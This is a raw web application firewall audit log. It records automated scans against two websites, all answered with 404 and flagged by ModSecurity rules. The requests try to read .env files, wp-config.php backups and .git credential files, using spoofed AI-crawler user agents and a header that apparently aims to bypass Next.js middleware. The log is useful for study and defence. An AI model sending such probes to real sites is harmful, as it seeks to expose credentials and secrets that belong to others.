[13/Sep/2026:11:13:54.942702 +0300] aqZbQmM7dE9KgIIOpQhxNwAAANg 34.21.80.87 37374 127.0.0.1 7081
--4115c54a-B--
GET /public/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--4115c54a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4115c54a-E--
--4115c54a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/public/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxNwAAANg"]
Stopwatch: 1789287234937230 5527 (- - -)
Stopwatch2: 1789287234937230 5527; combined=4279, p1=221, p2=3930, p3=61, p4=6, p5=61, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4115c54a-Z--
--17e2ba41-A--
[13/Sep/2026:11:13:54.993519 +0300] aqZbQmM7dE9KgIIOpQhxOAAAANY 34.21.80.87 37388 127.0.0.1 7081
--17e2ba41-B--
GET /wp/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--17e2ba41-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--17e2ba41-E--
--17e2ba41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxOAAAANY"]
Stopwatch: 1789287234986184 7403 (- - -)
Stopwatch2: 1789287234986184 7403; combined=6036, p1=1686, p2=4251, p3=55, p4=6, p5=38, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--17e2ba41-Z--
--dd161441-A--
[13/Sep/2026:11:13:54.997311 +0300] aqZbQmM7dE9KgIIOpQhxOQAAAMM 34.21.80.87 37400 127.0.0.1 7081
--dd161441-B--
GET /storage/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--dd161441-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--dd161441-E--
--dd161441-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/storage/.env"] [unique_id "aqZbQmM7dE9KgIIOpQhxOQAAAMM"]
Stopwatch: 1789287234991428 5936 (- - -)
Stopwatch2: 1789287234991428 5936; combined=4739, p1=322, p2=4302, p3=69, p4=9, p5=37, sr=202, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd161441-Z--
--d229f87f-A--
[13/Sep/2026:11:13:55.007512 +0300] aqZbQ2M7dE9KgIIOpQhxOgAAAMg 34.21.80.87 37406 127.0.0.1 7081
--d229f87f-B--
GET /web/.env HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d229f87f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d229f87f-E--
--d229f87f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/web/.env"] [unique_id "aqZbQ2M7dE9KgIIOpQhxOgAAAMg"]
Stopwatch: 1789287235001715 5956 (- - -)
Stopwatch2: 1789287235001715 5956; combined=4535, p1=240, p2=4190, p3=64, p4=6, p5=35, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d229f87f-Z--
--214ec91c-A--
[13/Sep/2026:11:13:57.627865 +0300] aqZbRWM7dE9KgIIOpQhxPgAAAMI 34.21.80.87 50932 127.0.0.1 7081
--214ec91c-B--
GET /wp-config.php~ HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--214ec91c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--214ec91c-E--
--214ec91c-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php~||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php~"] [unique_id "aqZbRWM7dE9KgIIOpQhxPgAAAMI"]
Stopwatch: 1789287237592746 35196 (- - -)
Stopwatch2: 1789287237592746 35196; combined=33709, p1=327, p2=33215, p3=79, p4=15, p5=72, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--214ec91c-Z--
--7c943b46-A--
[13/Sep/2026:11:13:57.635174 +0300] aqZbRSsVWymXUono-eRUQQAAAAI 34.21.80.87 50944 127.0.0.1 7081
--7c943b46-B--
GET /wp-config.php.swp HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 34.21.80.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--7c943b46-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--7c943b46-E--
--7c943b46-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.swp||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:wp-config.php.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "breveleyendatequila.com"] [uri "/wp-config.php.swp"] [unique_id "aqZbRSsVWymXUono-eRUQQAAAAI"]
Stopwatch: 1789287237600103 35121 (- - -)
Stopwatch2: 1789287237600103 35121; combined=33876, p1=227, p2=33525, p3=64, p4=6, p5=53, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7c943b46-Z--
--8876d661-A--
[13/Sep/2026:11:17:12.648133 +0300] aqZcCGM7dE9KgIIOpQhxTwAAANI 172.86.81.63 52516 127.0.0.1 7081
--8876d661-B--
GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--8876d661-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8876d661-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/logs/refs/remotes/origin/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aqZcCGM7dE9KgIIOpQhxTwAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432307741 340441 (- - -)
Stopwatch2: 1789287432307741 340441; combined=13127, p1=243, p2=12814, p3=0, p4=0, p5=70, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8876d661-Z--
--c9cae564-A--
[13/Sep/2026:11:17:12.774158 +0300] aqZcCGM7dE9KgIIOpQhxUAAAANM 172.86.81.63 52526 127.0.0.1 7081
--c9cae564-B--
GET /.git/refs/heads/master HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--c9cae564-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--c9cae564-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/refs/heads/master||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/refs/heads/master"] [unique_id "aqZcCGM7dE9KgIIOpQhxUAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432316449 457761 (- - -)
Stopwatch2: 1789287432316449 457761; combined=8902, p1=253, p2=8589, p3=0, p4=0, p5=59, sr=126, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c9cae564-Z--
--6de17f10-A--
[13/Sep/2026:11:17:12.810466 +0300] aqZcCGM7dE9KgIIOpQhxVgAAANY 172.86.81.63 52588 127.0.0.1 7081
--6de17f10-B--
GET /.git/HEAD HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--6de17f10-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6de17f10-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/HEAD"] [unique_id "aqZcCGM7dE9KgIIOpQhxVgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432388884 421632 (- - -)
Stopwatch2: 1789287432388884 421632; combined=39466, p1=184, p2=39226, p3=0, p4=0, p5=56, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6de17f10-Z--
--f42c2942-A--
[13/Sep/2026:11:17:12.813993 +0300] aqZcCGM7dE9KgIIOpQhxWQAAAM8 172.86.81.63 52612 127.0.0.1 7081
--f42c2942-B--
GET /.git/credential-cache HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--f42c2942-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f42c2942-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credential-cache||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/credential-cache"] [unique_id "aqZcCGM7dE9KgIIOpQhxWQAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432446557 367484 (- - -)
Stopwatch2: 1789287432446557 367484; combined=4169, p1=269, p2=3832, p3=0, p4=0, p5=68, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f42c2942-Z--
--96663c32-A--
[13/Sep/2026:11:17:12.982060 +0300] aqZcCCsVWymXUono-eRURAAAAAc 172.86.81.63 52634 127.0.0.1 7081
--96663c32-B--
GET /.git/description HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--96663c32-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--96663c32-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/description||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/description"] [unique_id "aqZcCCsVWymXUono-eRURAAAAAc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287432454939 527188 (- - -)
Stopwatch2: 1789287432454939 527188; combined=39622, p1=179, p2=39379, p3=0, p4=0, p5=63, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96663c32-Z--
--0e562854-A--
[13/Sep/2026:11:17:13.016468 +0300] aqZcCGM7dE9KgIIOpQhxUwAAAMg 172.86.81.63 52554 127.0.0.1 7081
--0e562854-B--
GET /.git/config.credentials HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 172.86.81.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip
--0e562854-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0e562854-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config.credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config.credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.git/config.credentials"] [unique_id "aqZcCGM7dE9KgIIOpQhxUwAAAMg"]
